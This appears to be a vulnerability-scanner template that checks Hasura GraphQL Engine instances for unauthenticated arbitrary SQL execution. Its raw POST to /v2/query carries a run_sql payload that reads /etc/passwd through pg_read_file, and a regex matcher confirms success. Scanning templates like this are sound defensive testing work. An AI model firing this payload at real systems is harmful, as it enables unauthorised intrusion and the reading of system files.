id: hasura-graphql-psql-exec

info:
  name: Hasura GraphQL Engine - postgresql query exec
  author: Udyz
  severity: critical
  description: A vulnerability in Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint.
  reference:
    - https://www.exploit-db.com/exploits/49802
  tags: hasura,rce,graphql

requests:
  - raw:
      - |
        POST /v2/query HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "type": "bulk",
          "source": "default",
          "args":[
            {
              "type": "run_sql",
              "args": {
                "source":"default",
                "sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
                "cascade": false,
                "read_only": false
              }
            }
          ]
        }

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body